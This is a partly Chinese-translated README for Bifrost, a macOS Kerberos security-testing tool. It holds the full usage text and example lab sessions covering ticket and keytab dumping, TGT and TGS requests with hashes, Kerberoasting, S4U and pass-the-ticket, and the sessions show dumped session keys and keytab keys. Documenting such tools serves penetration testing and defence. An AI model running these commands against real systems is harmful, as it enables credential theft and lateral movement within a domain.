( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(__/'()() () \___/'(____/_)
Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal
# 目录
- [概述](#overview)
- 命令
- [list](#list)
- [dump](#dump)
- [tickets](#tickets)
- [keytab](#keytab)
- [askhash](#askhash)
- [asktgt](#asktgt)
- [使用明文](#with-plaintext-password)
- [使用哈希](#with-hash)
- [使用 keytab 条目](#with-keytab-entry)
- [describe](#describe)
- [asktgs](#asktgs)
- [不同域](#different-domains)
- [Kerberoasting](#kerberoasting)
- [s4u](#s4u)
- [ptt](#ptt)
- [remove](#remove)
- [凭据缓存](#credential-cache)
- [keytab 条目](#keytab-entry)
## 概述
Bifrost 是一个 Objective-C 项目，旨在与 macOS 上的 Heimdal krb5 API 进行交互。Bifrost 编译为静态库（如有需要，你也可以将其改为动态库），bifrostconsole 是一个使用 Bifrost 库的简单控制台项目。该项目的目标是利用原生 API 在 macOS 设备上实现更好的 Kerberos 安全测试，而无需在目标上安装任何其他框架或软件包。
由于这需要在 Mac 上编译，而为了测试目的，并不是每个人都能方便地获得 Mac，因此我在 "compiled_binaries" 文件夹中包含了控制台和库的编译版本。由于这些是预编译的，预计它们会被大量标记签名，并且仅可用于个人测试目的。
## list
`-action list` 命令将遍历内存中的所有凭据缓存，并提供每个缓存及其条目的基本信息。它还会用 `[*]` 标记标识默认缓存，并用 `[+]` 标记标识其他缓存。```
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Principal: [email protected]
Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
Issued Expires Principal Flags
2019-11-13 18:00:20PST 2019-11-14 04:00:20PST krbtgt/[email protected] (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST 2019-12-13 18:00:21PST krb5_ccache_conf_data/kcm-status@X-CACHECONF: ()
-action dump 命令可以根据标志提取有关 keytab 或凭据缓存的信息。
要专门转储票据， 请使用 -source tickets。默认情况下，这只会遍历默认的凭据缓存。可以通过 -action list 命令并查找带有 [*] 标记的缓存来识别默认凭据缓存。要转储特定的凭据缓存，请使用 -name [name here] 标志。
每个票据都将被描述并转储为 base64 Kirbi 格式，该格式随后可用于其他命令或与 Windows 上的其他工具一起使用。``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=
Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA
### keytab
要转储 keytab 密钥，请使用 `-source keytab` 参数。默认情况下，此操作将尝试从默认 keytab（`/etc/krb5.keytab`）转储信息，该文件仅 root 用户可读。若要指定其他 keytab，请使用 `-path /path/to/keytab` 参数。
每个 keytab 条目都会被描述，密钥将以 base64 和十六进制格式转储。```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving keytab path
[+] Successfully opened keytab
[+] principal: [email protected]
Entry version: 3
Key enctype: aes256
Key: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
Timestamp: 2019-11-10 04:58:09 GMT
bash-3.2$ sudo ./bifrost -action dump -source keytab
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)